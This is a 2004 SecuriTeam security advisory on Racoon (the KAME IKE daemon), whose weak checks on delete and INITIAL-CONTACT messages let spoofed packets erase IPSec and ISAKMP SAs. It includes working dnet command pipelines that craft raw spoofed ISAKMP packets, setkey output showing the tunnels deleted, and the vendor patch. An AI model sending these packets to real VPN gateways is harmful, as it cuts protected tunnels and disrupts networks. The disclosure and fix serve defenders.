[UNIX] Unauthorized Deletion of IPSec (and ISAKMP) SAs in Racoon

From: SecuriTeam (support_at_securiteam.com)
Date: 01/15/04

  • Next message: SecuriTeam: "[NEWS] payShield Library Bad Requests Verification"
    To: list@securiteam.com
    Date: 15 Jan 2004 17:53:28 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Unauthorized Deletion of IPSec (and ISAKMP) SAs in Racoon
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.kame.net/project-overview.html#overview> KAME Project is "a
    joint effort to create single solid software set, especially targeted at
    IPv6/IPSec". Racoon, KAME's IKE daemon, contains some flaws, that allow
    unauthorized deletion of IPSec (and ISAKMP) SAs.

    DETAILS

    Racoon's "authentication" of delete messages
    When racoon receives a delete message containing the initiator cookie of a
    main/aggressive/base mode, that has not yet setup a ISAKMP SA, it fulfills
    the request, if the message also includes a (dummy) hash payload and
    originates from the right IP address. See isakmp_main() in isakmp.c and
    purge_isakmp_spi(), purge_IPSec_spi(), isakmp_info_recv() and
    isakmp_info_recv_d() in isakmp_inf.c for details and amusement.
     
    INITIAL-CONTACT with racoon
    It is nearly the same with INITIAL-CONTACT notifications, but there is no
    need of a (dummy) hash payload and it's way more effective, because it
    deletes all IPSec SAs "relatived to the destination address". See
    isakmp_info_recv_n() and info_recv_initialcontact() in isakmp_inf.c for
    additional information.

    Leveraging the Issues
    Take a look at <http://www.securiteam.com/securitynews/5OP0920BPY.html>
    Multiple Payload Handling Flaws in ISAKMPd (Continued) for the assumed
    scenario.

    Using delete messages
    An IPSec tunnel between vpn-gw-a and vpn-gw-a is established:
          vpn-gw-a# setkey -D
          <vpn-gw-a's IP address> <vpn-gw-b's IP address>
                  esp mode=tunnel spi=4127562105(0xf6059979)
    reqid=0(0x00000000)
            [..]
          <vpn-gw-b's IP address> <vpn-gw-a's IP address>
                  esp mode=tunnel spi=111058204(0x069e9d1c)
    reqid=0(0x00000000)
            [..]

    The attacker launches step 1 of his attack. He pretends to initiate a
    phase 1 exchange (with spoofed source IP address, of course):

          attacker# dnet hex \
    > "\x17\x17\x17\x17" \
    > "\x17\x17\x17\x17" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x00" \
    > "\x01\x10\x02\x00" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x48" \
    > "\x00\x00\x00\x2c" \
    > "\x00\x00\x00\x01" \
    > "\x00\x00\x00\x01" \
    > "\x00\x00\x00\x20" \
    > "\x01\x01\x00\x01" \
    > "\x00\x00\x00\x18" \
    > "\x00\x01\x00\x00" \
    > "\x80\x01\x00\x05" \
    > "\x80\x02\x00\x02" \
    > "\x80\x03\x00\x01" \
    > "\x80\x04\x00\x02" |
          pipe> dnet udp sport 500 dport 500 |
          pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
          pipe pipe pipe> dnet send

    If racoon finds the included proposal acceptable, it creates a state. Now
    the attacker carries out step 2:

          attacker# dnet hex \
    > "\x17\x17\x17\x17" \
    > "\x17\x17\x17\x17" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x00" \
    > "\x08\x10\x05\x00" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x30" \
    > "\x0c\x00\x00\x04" \
    > "\x00\x00\x00\x10" \
    > "\x00\x00\x00\x01" \
    > "\x03\x04\x00\x01" \
    > "\xf6\x05\x99\x79" |
          pipe> dnet udp sport 500 dport 500 |
          pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
          pipe pipe pipe> dnet send

    It seems that racoon knows the attacker:

          vpn-gw-a# setkey -D
          <vpn-gw-b's IP address> <vpn-gw-a's IP address>
                  esp mode=tunnel spi=111058204(0x069e9d1c)
    reqid=0(0x00000000)
            [..]

    Note: You can also delete ISAKMP SAs.
     
    Using INITIAL-CONTACT
    The IPSec tunnel is up and running:

          vpn-gw-a# setkey -D
          <vpn-gw-a's IP address> <vpn-gw-b's IP address>
                  esp mode=tunnel spi=785352974(0x2ecf890e)
    reqid=0(0x00000000)
                  [..]
          <vpn-gw-b's IP address> <vpn-gw-a's IP address>
                  esp mode=tunnel spi=183367627(0x0aedf7cb)
    reqid=0(0x00000000)
                  [..]

    Again, the attacker does step 1 and injects an ISAKMP message like this:

          attacker# dnet hex \
    > "\x17\x17\x17\x17" \
    > "\x17\x17\x17\x17" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x00" \
    > "\x0b\x10\x05\x00" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x28" \
    > "\x00\x00\x00\x0c" \
    > "\x00\x00\x00\x01" \
    > "\x01\x00\x60\x02" |
          pipe> dnet udp sport 500 dport 500 |
          pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
          pipe pipe pipe> dnet send

    Racoon blindly obeys the attacker's command:

          vpn-gw-a# setkey -D
          No SAD entries.

    Patch:
    The patch has been provided by IIJ SEIL team:

    Index: isakmp_inf.c
    ===================================================================
    RCS file: /cvsroot/kame/kame/kame/kame/racoon/isakmp_inf.c,v
    retrieving revision 1.82
    diff -u -r1.82 isakmp_inf.c
    --- isakmp_inf.c 13 Nov 2003 02:30:20 -0000 1.82
    +++ isakmp_inf.c 14 Jan 2004 09:14:31 -0000
    @@ -136,10 +136,81 @@
     
       isakmp = (struct isakmp *)msg->v;
       gen = (struct isakmp_gen *)((caddr_t)isakmp + sizeof(struct isakmp));
    - if (isakmp->np == ISAKMP_NPTYPE_HASH)
    - np = gen->np;
    - else
    - np = isakmp->np;
    +
    + if (isakmp->np != ISAKMP_NPTYPE_HASH) {
    + plog(LLV_ERROR, LOCATION, NULL,
    + "ignore information because the message has no hash payload.\n");
    + goto end;
    + }
    +
    + if (iph1->status != PHASE1ST_ESTABLISHED) {
    + plog(LLV_ERROR, LOCATION, NULL,
    + "ignore information because ISAKMP-SA has not been established
    yet.\n");
    + goto end;
    + }
    +
    + np = gen->np;
    +
    + {
    + void *p;
    + vchar_t *hash, *payload;
    + struct isakmp_gen *nd;
    +
    + /*
    + * XXX: gen->len includes isakmp header length
    + */
    + p = (caddr_t) gen + sizeof(struct isakmp_gen);
    + nd = (struct isakmp_gen *) ((caddr_t) gen + gen->len);
    +
    + /* nd length check */
    + if (nd->len > msg->l - (sizeof(struct isakmp) + gen->len)) {
    + plog(LLV_ERROR, LOCATION, NULL,
    + "too long payload length (broken message?)\n");
    + goto end;
    + }
    +
    + payload = vmalloc(nd->len);
    + if (payload == NULL) {
    + plog(LLV_ERROR, LOCATION, NULL,
    + "cannot allocate memory\n");
    + goto end;
    + }
    +
    + memcpy(payload->v, (caddr_t) nd, nd->len);
    +
    + /* compute HASH */
    + hash = oakley_compute_hash1(iph1, isakmp->msgid, payload);
    + if (hash == NULL) {
    + plog(LLV_ERROR, LOCATION, NULL,
    + "cannot compute hash\n");
    +
    + vfree(payload);
    + goto end;
    + }
    +
    + if (gen->len - sizeof(struct isakmp_gen) != hash->l) {
    + plog(LLV_ERROR, LOCATION, NULL,
    + "ignore information due to hash length mismatch\n");
    +
    + vfree(hash);
    + vfree(payload);
    + goto end;
    + }
    +
    + if (memcmp(p, hash->v, hash->l) != 0) {
    + plog(LLV_ERROR, LOCATION, NULL,
    + "ignore information due to hash mismatch\n");
    +
    + vfree(hash);
    + vfree(payload);
    + goto end;
    + }
    +
    + plog(LLV_DEBUG, LOCATION, NULL, "hash validated.\n");
    +
    + vfree(hash);
    + vfree(payload);
    + }
         
       /* make sure the packet were encrypted. */
       if (!encrypted) {

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:thomas@thinknerd.org> Thomas
    Walpuski and <mailto:itojun@kame.net> itojun.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] payShield Library Bad Requests Verification"

    Relevant Pages